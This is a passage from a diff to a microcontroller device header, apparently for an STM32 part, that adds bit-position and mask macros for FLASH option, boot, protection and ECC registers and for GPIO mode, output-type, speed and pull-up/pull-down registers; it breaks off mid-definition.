FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_SRAM1_RST_Pos (9U) +#define FLASH_OPTSR2_SRAM1_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_RST_Pos) /*!< 0x00000200 */ +#define FLASH_OPTSR2_SRAM1_RST FLASH_OPTSR2_SRAM1_RST_Msk /*!< SRAM1 erase upon a system reset */ +#define FLASH_OPTSR2_SRAM1_ECC_Pos (10U) +#define FLASH_OPTSR2_SRAM1_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM1_ECC_Pos) /*!< 0x00000400 */ +#define FLASH_OPTSR2_SRAM1_ECC FLASH_OPTSR2_SRAM1_ECC_Msk /*!< SRAM1 ECC detection and correction disable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0x000000FFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0x000000FF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0x000000FFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0x000000FF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x07UL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x07UL << FLASH_HDPR_HDP_END_Pos) /*!< 0x00070000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + + +/******************************************************************************/ +/* */ +/* General Purpose IOs (GPIO) */ +/* */ +/******************************************************************************/ +/****************** Bits definition for GPIO_MODER register *****************/ +#define GPIO_MODER_MODE0_Pos (0U) +#define GPIO_MODER_MODE0_Msk (0x3UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000003 */ +#define GPIO_MODER_MODE0 GPIO_MODER_MODE0_Msk +#define GPIO_MODER_MODE0_0 (0x1UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000001 */ +#define GPIO_MODER_MODE0_1 (0x2UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000002 */ +#define GPIO_MODER_MODE1_Pos (2U) +#define GPIO_MODER_MODE1_Msk (0x3UL << GPIO_MODER_MODE1_Pos) /*!< 0x0000000C */ +#define GPIO_MODER_MODE1 GPIO_MODER_MODE1_Msk +#define GPIO_MODER_MODE1_0 (0x1UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000004 */ +#define GPIO_MODER_MODE1_1 (0x2UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000008 */ +#define GPIO_MODER_MODE2_Pos (4U) +#define GPIO_MODER_MODE2_Msk (0x3UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000030 */ +#define GPIO_MODER_MODE2 GPIO_MODER_MODE2_Msk +#define GPIO_MODER_MODE2_0 (0x1UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000010 */ +#define GPIO_MODER_MODE2_1 (0x2UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000020 */ +#define GPIO_MODER_MODE3_Pos (6U) +#define GPIO_MODER_MODE3_Msk (0x3UL << GPIO_MODER_MODE3_Pos) /*!< 0x000000C0 */ +#define GPIO_MODER_MODE3 GPIO_MODER_MODE3_Msk +#define GPIO_MODER_MODE3_0 (0x1UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000040 */ +#define GPIO_MODER_MODE3_1 (0x2UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000080 */ +#define GPIO_MODER_MODE4_Pos (8U) +#define GPIO_MODER_MODE4_Msk (0x3UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000300 */ +#define GPIO_MODER_MODE4 GPIO_MODER_MODE4_Msk +#define GPIO_MODER_MODE4_0 (0x1UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000100 */ +#define GPIO_MODER_MODE4_1 (0x2UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000200 */ +#define GPIO_MODER_MODE5_Pos (10U) +#define GPIO_MODER_MODE5_Msk (0x3UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000C00 */ +#define GPIO_MODER_MODE5 GPIO_MODER_MODE5_Msk +#define GPIO_MODER_MODE5_0 (0x1UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000400 */ +#define GPIO_MODER_MODE5_1 (0x2UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000800 */ +#define GPIO_MODER_MODE6_Pos (12U) +#define GPIO_MODER_MODE6_Msk (0x3UL << GPIO_MODER_MODE6_Pos) /*!< 0x00003000 */ +#define GPIO_MODER_MODE6 GPIO_MODER_MODE6_Msk +#define GPIO_MODER_MODE6_0 (0x1UL << GPIO_MODER_MODE6_Pos) /*!< 0x00001000 */ +#define GPIO_MODER_MODE6_1 (0x2UL << GPIO_MODER_MODE6_Pos) /*!< 0x00002000 */ +#define GPIO_MODER_MODE7_Pos (14U) +#define GPIO_MODER_MODE7_Msk (0x3UL << GPIO_MODER_MODE7_Pos) /*!< 0x0000C000 */ +#define GPIO_MODER_MODE7 GPIO_MODER_MODE7_Msk +#define GPIO_MODER_MODE7_0 (0x1UL << GPIO_MODER_MODE7_Pos) /*!< 0x00004000 */ +#define GPIO_MODER_MODE7_1 (0x2UL << GPIO_MODER_MODE7_Pos) /*!< 0x00008000 */ +#define GPIO_MODER_MODE8_Pos (16U) +#define GPIO_MODER_MODE8_Msk (0x3UL << GPIO_MODER_MODE8_Pos) /*!< 0x00030000 */ +#define GPIO_MODER_MODE8 GPIO_MODER_MODE8_Msk +#define GPIO_MODER_MODE8_0 (0x1UL << GPIO_MODER_MODE8_Pos) /*!< 0x00010000 */ +#define GPIO_MODER_MODE8_1 (0x2UL << GPIO_MODER_MODE8_Pos) /*!< 0x00020000 */ +#define GPIO_MODER_MODE9_Pos (18U) +#define GPIO_MODER_MODE9_Msk (0x3UL << GPIO_MODER_MODE9_Pos) /*!< 0x000C0000 */ +#define GPIO_MODER_MODE9 GPIO_MODER_MODE9_Msk +#define GPIO_MODER_MODE9_0 (0x1UL << GPIO_MODER_MODE9_Pos) /*!< 0x00040000 */ +#define GPIO_MODER_MODE9_1 (0x2UL << GPIO_MODER_MODE9_Pos) /*!< 0x00080000 */ +#define GPIO_MODER_MODE10_Pos (20U) +#define GPIO_MODER_MODE10_Msk (0x3UL << GPIO_MODER_MODE10_Pos) /*!< 0x00300000 */ +#define GPIO_MODER_MODE10 GPIO_MODER_MODE10_Msk +#define GPIO_MODER_MODE10_0 (0x1UL << GPIO_MODER_MODE10_Pos) /*!< 0x00100000 */ +#define GPIO_MODER_MODE10_1 (0x2UL << GPIO_MODER_MODE10_Pos) /*!< 0x00200000 */ +#define GPIO_MODER_MODE11_Pos (22U) +#define GPIO_MODER_MODE11_Msk (0x3UL << GPIO_MODER_MODE11_Pos) /*!< 0x00C00000 */ +#define GPIO_MODER_MODE11 GPIO_MODER_MODE11_Msk +#define GPIO_MODER_MODE11_0 (0x1UL << GPIO_MODER_MODE11_Pos) /*!< 0x00400000 */ +#define GPIO_MODER_MODE11_1 (0x2UL << GPIO_MODER_MODE11_Pos) /*!< 0x00800000 */ +#define GPIO_MODER_MODE12_Pos (24U) +#define GPIO_MODER_MODE12_Msk (0x3UL << GPIO_MODER_MODE12_Pos) /*!< 0x03000000 */ +#define GPIO_MODER_MODE12 GPIO_MODER_MODE12_Msk +#define GPIO_MODER_MODE12_0 (0x1UL << GPIO_MODER_MODE12_Pos) /*!< 0x01000000 */ +#define GPIO_MODER_MODE12_1 (0x2UL << GPIO_MODER_MODE12_Pos) /*!< 0x02000000 */ +#define GPIO_MODER_MODE13_Pos (26U) +#define GPIO_MODER_MODE13_Msk (0x3UL << GPIO_MODER_MODE13_Pos) /*!< 0x0C000000 */ +#define GPIO_MODER_MODE13 GPIO_MODER_MODE13_Msk +#define GPIO_MODER_MODE13_0 (0x1UL << GPIO_MODER_MODE13_Pos) /*!< 0x04000000 */ +#define GPIO_MODER_MODE13_1 (0x2UL << GPIO_MODER_MODE13_Pos) /*!< 0x08000000 */ +#define GPIO_MODER_MODE14_Pos (28U) +#define GPIO_MODER_MODE14_Msk (0x3UL << GPIO_MODER_MODE14_Pos) /*!< 0x30000000 */ +#define GPIO_MODER_MODE14 GPIO_MODER_MODE14_Msk +#define GPIO_MODER_MODE14_0 (0x1UL << GPIO_MODER_MODE14_Pos) /*!< 0x10000000 */ +#define GPIO_MODER_MODE14_1 (0x2UL << GPIO_MODER_MODE14_Pos) /*!< 0x20000000 */ +#define GPIO_MODER_MODE15_Pos (30U) +#define GPIO_MODER_MODE15_Msk (0x3UL << GPIO_MODER_MODE15_Pos) /*!< 0xC0000000 */ +#define GPIO_MODER_MODE15 GPIO_MODER_MODE15_Msk +#define GPIO_MODER_MODE15_0 (0x1UL << GPIO_MODER_MODE15_Pos) /*!< 0x40000000 */ +#define GPIO_MODER_MODE15_1 (0x2UL << GPIO_MODER_MODE15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_OTYPER register ****************/ +#define GPIO_OTYPER_OT0_Pos (0U) +#define GPIO_OTYPER_OT0_Msk (0x1UL << GPIO_OTYPER_OT0_Pos) /*!< 0x00000001 */ +#define GPIO_OTYPER_OT0 GPIO_OTYPER_OT0_Msk +#define GPIO_OTYPER_OT1_Pos (1U) +#define GPIO_OTYPER_OT1_Msk (0x1UL << GPIO_OTYPER_OT1_Pos) /*!< 0x00000002 */ +#define GPIO_OTYPER_OT1 GPIO_OTYPER_OT1_Msk +#define GPIO_OTYPER_OT2_Pos (2U) +#define GPIO_OTYPER_OT2_Msk (0x1UL << GPIO_OTYPER_OT2_Pos) /*!< 0x00000004 */ +#define GPIO_OTYPER_OT2 GPIO_OTYPER_OT2_Msk +#define GPIO_OTYPER_OT3_Pos (3U) +#define GPIO_OTYPER_OT3_Msk (0x1UL << GPIO_OTYPER_OT3_Pos) /*!< 0x00000008 */ +#define GPIO_OTYPER_OT3 GPIO_OTYPER_OT3_Msk +#define GPIO_OTYPER_OT4_Pos (4U) +#define GPIO_OTYPER_OT4_Msk (0x1UL << GPIO_OTYPER_OT4_Pos) /*!< 0x00000010 */ +#define GPIO_OTYPER_OT4 GPIO_OTYPER_OT4_Msk +#define GPIO_OTYPER_OT5_Pos (5U) +#define GPIO_OTYPER_OT5_Msk (0x1UL << GPIO_OTYPER_OT5_Pos) /*!< 0x00000020 */ +#define GPIO_OTYPER_OT5 GPIO_OTYPER_OT5_Msk +#define GPIO_OTYPER_OT6_Pos (6U) +#define GPIO_OTYPER_OT6_Msk (0x1UL << GPIO_OTYPER_OT6_Pos) /*!< 0x00000040 */ +#define GPIO_OTYPER_OT6 GPIO_OTYPER_OT6_Msk +#define GPIO_OTYPER_OT7_Pos (7U) +#define GPIO_OTYPER_OT7_Msk (0x1UL << GPIO_OTYPER_OT7_Pos) /*!< 0x00000080 */ +#define GPIO_OTYPER_OT7 GPIO_OTYPER_OT7_Msk +#define GPIO_OTYPER_OT8_Pos (8U) +#define GPIO_OTYPER_OT8_Msk (0x1UL << GPIO_OTYPER_OT8_Pos) /*!< 0x00000100 */ +#define GPIO_OTYPER_OT8 GPIO_OTYPER_OT8_Msk +#define GPIO_OTYPER_OT9_Pos (9U) +#define GPIO_OTYPER_OT9_Msk (0x1UL << GPIO_OTYPER_OT9_Pos) /*!< 0x00000200 */ +#define GPIO_OTYPER_OT9 GPIO_OTYPER_OT9_Msk +#define GPIO_OTYPER_OT10_Pos (10U) +#define GPIO_OTYPER_OT10_Msk (0x1UL << GPIO_OTYPER_OT10_Pos) /*!< 0x00000400 */ +#define GPIO_OTYPER_OT10 GPIO_OTYPER_OT10_Msk +#define GPIO_OTYPER_OT11_Pos (11U) +#define GPIO_OTYPER_OT11_Msk (0x1UL << GPIO_OTYPER_OT11_Pos) /*!< 0x00000800 */ +#define GPIO_OTYPER_OT11 GPIO_OTYPER_OT11_Msk +#define GPIO_OTYPER_OT12_Pos (12U) +#define GPIO_OTYPER_OT12_Msk (0x1UL << GPIO_OTYPER_OT12_Pos) /*!< 0x00001000 */ +#define GPIO_OTYPER_OT12 GPIO_OTYPER_OT12_Msk +#define GPIO_OTYPER_OT13_Pos (13U) +#define GPIO_OTYPER_OT13_Msk (0x1UL << GPIO_OTYPER_OT13_Pos) /*!< 0x00002000 */ +#define GPIO_OTYPER_OT13 GPIO_OTYPER_OT13_Msk +#define GPIO_OTYPER_OT14_Pos (14U) +#define GPIO_OTYPER_OT14_Msk (0x1UL << GPIO_OTYPER_OT14_Pos) /*!< 0x00004000 */ +#define GPIO_OTYPER_OT14 GPIO_OTYPER_OT14_Msk +#define GPIO_OTYPER_OT15_Pos (15U) +#define GPIO_OTYPER_OT15_Msk (0x1UL << GPIO_OTYPER_OT15_Pos) /*!< 0x00008000 */ +#define GPIO_OTYPER_OT15 GPIO_OTYPER_OT15_Msk + +/****************** Bits definition for GPIO_OSPEEDR register ***************/ +#define GPIO_OSPEEDR_OSPEED0_Pos (0U) +#define GPIO_OSPEEDR_OSPEED0_Msk (0x3UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000003 */ +#define GPIO_OSPEEDR_OSPEED0 GPIO_OSPEEDR_OSPEED0_Msk +#define GPIO_OSPEEDR_OSPEED0_0 (0x1UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000001 */ +#define GPIO_OSPEEDR_OSPEED0_1 (0x2UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000002 */ +#define GPIO_OSPEEDR_OSPEED1_Pos (2U) +#define GPIO_OSPEEDR_OSPEED1_Msk (0x3UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x0000000C */ +#define GPIO_OSPEEDR_OSPEED1 GPIO_OSPEEDR_OSPEED1_Msk +#define GPIO_OSPEEDR_OSPEED1_0 (0x1UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000004 */ +#define GPIO_OSPEEDR_OSPEED1_1 (0x2UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000008 */ +#define GPIO_OSPEEDR_OSPEED2_Pos (4U) +#define GPIO_OSPEEDR_OSPEED2_Msk (0x3UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000030 */ +#define GPIO_OSPEEDR_OSPEED2 GPIO_OSPEEDR_OSPEED2_Msk +#define GPIO_OSPEEDR_OSPEED2_0 (0x1UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000010 */ +#define GPIO_OSPEEDR_OSPEED2_1 (0x2UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000020 */ +#define GPIO_OSPEEDR_OSPEED3_Pos (6U) +#define GPIO_OSPEEDR_OSPEED3_Msk (0x3UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x000000C0 */ +#define GPIO_OSPEEDR_OSPEED3 GPIO_OSPEEDR_OSPEED3_Msk +#define GPIO_OSPEEDR_OSPEED3_0 (0x1UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000040 */ +#define GPIO_OSPEEDR_OSPEED3_1 (0x2UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000080 */ +#define GPIO_OSPEEDR_OSPEED4_Pos (8U) +#define GPIO_OSPEEDR_OSPEED4_Msk (0x3UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000300 */ +#define GPIO_OSPEEDR_OSPEED4 GPIO_OSPEEDR_OSPEED4_Msk +#define GPIO_OSPEEDR_OSPEED4_0 (0x1UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000100 */ +#define GPIO_OSPEEDR_OSPEED4_1 (0x2UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000200 */ +#define GPIO_OSPEEDR_OSPEED5_Pos (10U) +#define GPIO_OSPEEDR_OSPEED5_Msk (0x3UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000C00 */ +#define GPIO_OSPEEDR_OSPEED5 GPIO_OSPEEDR_OSPEED5_Msk +#define GPIO_OSPEEDR_OSPEED5_0 (0x1UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000400 */ +#define GPIO_OSPEEDR_OSPEED5_1 (0x2UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000800 */ +#define GPIO_OSPEEDR_OSPEED6_Pos (12U) +#define GPIO_OSPEEDR_OSPEED6_Msk (0x3UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00003000 */ +#define GPIO_OSPEEDR_OSPEED6 GPIO_OSPEEDR_OSPEED6_Msk +#define GPIO_OSPEEDR_OSPEED6_0 (0x1UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00001000 */ +#define GPIO_OSPEEDR_OSPEED6_1 (0x2UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00002000 */ +#define GPIO_OSPEEDR_OSPEED7_Pos (14U) +#define GPIO_OSPEEDR_OSPEED7_Msk (0x3UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x0000C000 */ +#define GPIO_OSPEEDR_OSPEED7 GPIO_OSPEEDR_OSPEED7_Msk +#define GPIO_OSPEEDR_OSPEED7_0 (0x1UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00004000 */ +#define GPIO_OSPEEDR_OSPEED7_1 (0x2UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00008000 */ +#define GPIO_OSPEEDR_OSPEED8_Pos (16U) +#define GPIO_OSPEEDR_OSPEED8_Msk (0x3UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00030000 */ +#define GPIO_OSPEEDR_OSPEED8 GPIO_OSPEEDR_OSPEED8_Msk +#define GPIO_OSPEEDR_OSPEED8_0 (0x1UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00010000 */ +#define GPIO_OSPEEDR_OSPEED8_1 (0x2UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00020000 */ +#define GPIO_OSPEEDR_OSPEED9_Pos (18U) +#define GPIO_OSPEEDR_OSPEED9_Msk (0x3UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x000C0000 */ +#define GPIO_OSPEEDR_OSPEED9 GPIO_OSPEEDR_OSPEED9_Msk +#define GPIO_OSPEEDR_OSPEED9_0 (0x1UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00040000 */ +#define GPIO_OSPEEDR_OSPEED9_1 (0x2UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00080000 */ +#define GPIO_OSPEEDR_OSPEED10_Pos (20U) +#define GPIO_OSPEEDR_OSPEED10_Msk (0x3UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00300000 */ +#define GPIO_OSPEEDR_OSPEED10 GPIO_OSPEEDR_OSPEED10_Msk +#define GPIO_OSPEEDR_OSPEED10_0 (0x1UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00100000 */ +#define GPIO_OSPEEDR_OSPEED10_1 (0x2UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00200000 */ +#define GPIO_OSPEEDR_OSPEED11_Pos (22U) +#define GPIO_OSPEEDR_OSPEED11_Msk (0x3UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00C00000 */ +#define GPIO_OSPEEDR_OSPEED11 GPIO_OSPEEDR_OSPEED11_Msk +#define GPIO_OSPEEDR_OSPEED11_0 (0x1UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00400000 */ +#define GPIO_OSPEEDR_OSPEED11_1 (0x2UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00800000 */ +#define GPIO_OSPEEDR_OSPEED12_Pos (24U) +#define GPIO_OSPEEDR_OSPEED12_Msk (0x3UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x03000000 */ +#define GPIO_OSPEEDR_OSPEED12 GPIO_OSPEEDR_OSPEED12_Msk +#define GPIO_OSPEEDR_OSPEED12_0 (0x1UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x01000000 */ +#define GPIO_OSPEEDR_OSPEED12_1 (0x2UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x02000000 */ +#define GPIO_OSPEEDR_OSPEED13_Pos (26U) +#define GPIO_OSPEEDR_OSPEED13_Msk (0x3UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x0C000000 */ +#define GPIO_OSPEEDR_OSPEED13 GPIO_OSPEEDR_OSPEED13_Msk +#define GPIO_OSPEEDR_OSPEED13_0 (0x1UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x04000000 */ +#define GPIO_OSPEEDR_OSPEED13_1 (0x2UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x08000000 */ +#define GPIO_OSPEEDR_OSPEED14_Pos (28U) +#define GPIO_OSPEEDR_OSPEED14_Msk (0x3UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x30000000 */ +#define GPIO_OSPEEDR_OSPEED14 GPIO_OSPEEDR_OSPEED14_Msk +#define GPIO_OSPEEDR_OSPEED14_0 (0x1UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x10000000 */ +#define GPIO_OSPEEDR_OSPEED14_1 (0x2UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x20000000 */ +#define GPIO_OSPEEDR_OSPEED15_Pos (30U) +#define GPIO_OSPEEDR_OSPEED15_Msk (0x3UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0xC0000000 */ +#define GPIO_OSPEEDR_OSPEED15 GPIO_OSPEEDR_OSPEED15_Msk +#define GPIO_OSPEEDR_OSPEED15_0 (0x1UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x40000000 */ +#define GPIO_OSPEEDR_OSPEED15_1 (0x2UL << GPIO_OSPEEDR_OSPEED15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_PUPDR register *****************/ +#define GPIO_PUPDR_PUPD0_Pos (0U) +#define GPIO_PUPDR_PUPD0_Msk (0x3UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000003 */ +#define GPIO_PUPDR_PUPD0 GPIO_PUPDR_PUPD0_Msk +#define GPIO_PUPDR_PUPD0_0 (0x1UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000001 */ +#define GPIO_PUPDR_PUPD0_1 (0x2UL << GPIO_PUPDR_PUPD0_Pos) /*!< 0x00000002 */ +#define GPIO_PUPDR_PUPD1_Pos (2U) +#define GPIO_PUPDR_PUPD1_Msk (0x3UL << GPIO_PUPDR_PUPD1_Pos) /*!< 0x0000000C */ +#define GPIO_PUPDR_PUPD1 GPIO_PUPDR_PUPD1_Msk +#define 